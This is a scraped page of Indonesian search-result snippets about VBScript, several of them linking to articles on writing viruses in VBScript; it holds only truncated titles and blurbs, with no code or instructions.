Beberapa tahun terakhir banyak di jumpai Virus yang menggunakan bahasa pemrograman VBScript. ... Code sederhana menggunakan VBScript. Sebelumnya , ...
Read more

Pemrograman Virus Menggunakan Vbscript - Documents

Pemrograman Virus Menggunakan VBScript Pemrograman Virus Menggunakan VBScript (Virus Programming using VBScript)
Read more

pengeritan vbs( visual basic sccript) notepad

Pada dasarnya VBScript merupakan sebuah bahasa pemrograman script ... Kebanyakan virus yang di rancang menggunakan bahasa pemograman ini 6. Dll
Read more

Visual Basic Script | Tentang IT

Pemrograman Visual Basic Scripting merupakan bahasa pemrograman yang dikembangkan ... VBScript menggunakan sintak program atau alur program yang sama ...
Read more